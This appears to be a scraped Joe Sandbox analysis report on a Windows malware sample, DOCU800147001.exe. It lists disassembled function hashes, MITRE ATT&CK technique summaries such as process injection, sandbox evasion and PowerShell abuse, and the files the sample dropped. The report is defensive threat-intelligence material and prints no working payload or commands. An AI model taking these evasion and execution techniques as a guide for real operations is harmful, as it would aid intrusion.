Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1746e9a997240f8c185d1c623a5414281e45e29066f2f30e34a12af0d34db48
Instruction ID: d373873189f155d39ee82914d229f3e4d23f02d988652c141e61ccefe5d65772
Opcode Fuzzy Hash: d1746e9a997240f8c185d1c623a5414281e45e29066f2f30e34a12af0d34db48
Instruction Fuzzy Hash: 56512E34A10619DFCB15CF98C9949AEBBB2FF88310B248258E955A73A4D735EC51CB90

Function 09222257 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d3f0c2ef08f4ac93a650d478c8a0700fd9fcd0f245ee00d9c062c549827a1d
Instruction ID: 2399f55180cd36b3ece53ead25215a39b82e8a308a39fd24a84e4fcd6879707d
Opcode Fuzzy Hash: b0d3f0c2ef08f4ac93a650d478c8a0700fd9fcd0f245ee00d9c062c549827a1d
Instruction Fuzzy Hash: 48411B74A10259DFCB09CF9CC9949AEBBB1FF48320B248258E915E73A4D736AC51CB90

Function 074C8888 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6382dc47b9c7da600526a6a4d31ca966396fafa2f71a0c3a36f64d90b039da78
Instruction ID: 3d04ada934cdf9b8859649bca6a082348acaa9d8c8ae51c276a0ace140cabf2e
Opcode Fuzzy Hash: 6382dc47b9c7da600526a6a4d31ca966396fafa2f71a0c3a36f64d90b039da78
Instruction Fuzzy Hash: 2731A4B4B00210EBD7149BA4C854FAF7AA39FC5750F108059EA01AF781CF76AC478BD2

Function 074C8B1C Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ce18072128af4d78da350e52134aad2b766ff100230c3da0bec52ae897ea2b
Instruction ID: 5cdabc9865bfa51ae680611f9a5840fecb7487a94123363684c2c7ba4db58580
Opcode Fuzzy Hash: 54ce18072128af4d78da350e52134aad2b766ff100230c3da0bec52ae897ea2b
Instruction Fuzzy Hash: 4A3107FA7043439BCB55CA6484113FABB668BC1210F04847FE601CB785EB35E846C752

Function 09220B80 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83adb77d9bcb172a55b5f036c82384628e3735f7d1319a89e5d1e6a1ac1e0493
Instruction ID: f04e487e9dd59024d3f99d71381d92e11e59cf6a123a22f9e72d520e9b409082
Opcode Fuzzy Hash: 83adb77d9bcb172a55b5f036c82384628e3735f7d1319a89e5d1e6a1ac1e0493
Instruction Fuzzy Hash: 37311874A00209DFCB15CF59C594AAEFBB1FF49310B258299D519EB751C735EC81CB90

Function 074C3DE0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2544011605.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_74c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7cc85326f4bd7607d63d09010ebc19504d007423633a7226036e4a4d046874c
Instruction ID: 3991e4dd884a8e02f2abf88e72fa1fcf1dda72e8d1d61ec7368de321dedb7f9c
Opcode Fuzzy Hash: b7cc85326f4bd7607d63d09010ebc19504d007423633a7226036e4a4d046874c
Instruction Fuzzy Hash: 7C2135FED002969BCFA1CF65C5402EABBB4EF49210B29C4AFD81893345E3309945CB97

Function 02BFF520 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2527060477.0000000002BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d8688741cc7e9456e3d56044b27941c720d98364382017547cd3fda19e2a93
Instruction ID: 4b34a7f67a570973dce29f102ff9906a4f182c69b6de883e4cd84f3df3f2ff3b
Opcode Fuzzy Hash: 34d8688741cc7e9456e3d56044b27941c720d98364382017547cd3fda19e2a93
Instruction Fuzzy Hash: BC210276504200EFDF55CF14D9C0B26BF61FB88314F20C5E9EA094A696C736D45ACB61

Function 09220B7C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3e17254cf4a0e5a6668289d211225ba6ee6ec065d87591e6cb19f4d6af4f86
Instruction ID: 8d5caab81dab41679ff65a32388ee30546fca29585c82aca4388217ca21d041f
Opcode Fuzzy Hash: be3e17254cf4a0e5a6668289d211225ba6ee6ec065d87591e6cb19f4d6af4f86
Instruction Fuzzy Hash: 75310774A00619DFCB14CF9DC594AAEFBB1FF88310B248299E919A7755C732EC81CB90

Function 0922077D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7a4ad7b725c69b3409dcf9452c95d8a2e9096367f5bfe36023f155ba3d4f8e
Instruction ID: 49f098317c6c91bc50cdd42c87d7dc4cdbd8765ca7f780ecd3a634edfdb62ba3
Opcode Fuzzy Hash: 3f7a4ad7b725c69b3409dcf9452c95d8a2e9096367f5bfe36023f155ba3d4f8e
Instruction Fuzzy Hash: 34115E2191F3D49FC7039739A8614893FB49E83124B1A45DBC0818F1A3DA695C4DCBA7

Function 02BFF51B Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2527060477.0000000002BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 226763f8ebee4a326c53d81c1b8fbc9c4432138e5169b0b621e51b23af87bf07
Instruction ID: 13c313160ebef791fc4af31386555becfa541df615d70f0026e404fb9b5e6439
Opcode Fuzzy Hash: 226763f8ebee4a326c53d81c1b8fbc9c4432138e5169b0b621e51b23af87bf07
Instruction Fuzzy Hash: 0F218E76504240DFCF16CF54D5C4B25BF62FB44314F24C5E9D9094A6A6C33AD45ACB91

Function 02BFD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2527060477.0000000002BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91041b7c222f652c39dd375e6f2d00571e86856eeb30d5f21c7af49a12aff11c
Instruction ID: b4805f9b2cb1d3cc71e44a3485d01d8049d2618de8dba754423fe9c278ec6855
Opcode Fuzzy Hash: 91041b7c222f652c39dd375e6f2d00571e86856eeb30d5f21c7af49a12aff11c
Instruction Fuzzy Hash: F501F271509341EAE7604A35C980B66BF98EF41324F08C59AEE080BA42C7B99849CAB1

Function 02BFD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2527060477.0000000002BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2bfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7818ad52c367776aad69cff5626b2aa16b7bc6b6fb5f291ca5ac94fba6d13759
Instruction ID: 3a9a5523d25010be0b2b10a17efb6066a0bddb5bb62115d8a86c6c61e69baedd
Opcode Fuzzy Hash: 7818ad52c367776aad69cff5626b2aa16b7bc6b6fb5f291ca5ac94fba6d13759
Instruction Fuzzy Hash: A201127250E3C09FE7124B258994752BFA4DF52224F1981DBD9888F593C2699849C772

Function 0922291B Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2547591871.0000000009220000.00000040.00000800.00020000.00000000.sdmp, Offset: 09220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9220000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9366ac00b7c846ddfab6ef728fa0c0e2ddd36b0a41e04edc5060d6d045c007cd
Instruction ID: a6fe07c5f1331683371efaa3036383a3794bce0a2b404d990b3fcb2279e4a6c5
Opcode Fuzzy Hash: 9366ac00b7c846ddfab6ef728fa0c0e2ddd36b0a41e04edc5060d6d045c007cd
Instruction Fuzzy Hash: 9CF0F475A00115EFCB05DB9CD990EBEF776FF88324F248158EA15A72A1C732AC52CB60

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DOCU800147001.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe:Zone.Identifier

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\arrogantly.wea

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\brudsikreste.txt

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\fistres.pho

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\martyrdds.ele

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\vagabondage.fis

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\decouple.Chr

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qte5eam.rut.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvm45sqb.g4z.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4xyj1co.gpr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pxvwrc2y.jrq.psm1

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll

Static File Info

General

Windows Analysis Report
DOCU800147001.exe

Function 004030CB Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 324
stringfilecomCOMMON

Function 00404FA3 Relevance: 54.3, APIs: 36, Instructions: 280
windowclipboardmemoryCOMMON

Function 00405B9C Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Function 0040543A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403995 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403603 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C2B Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00404E65 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402E64 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
fileCOMMON

Function 00401F68 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON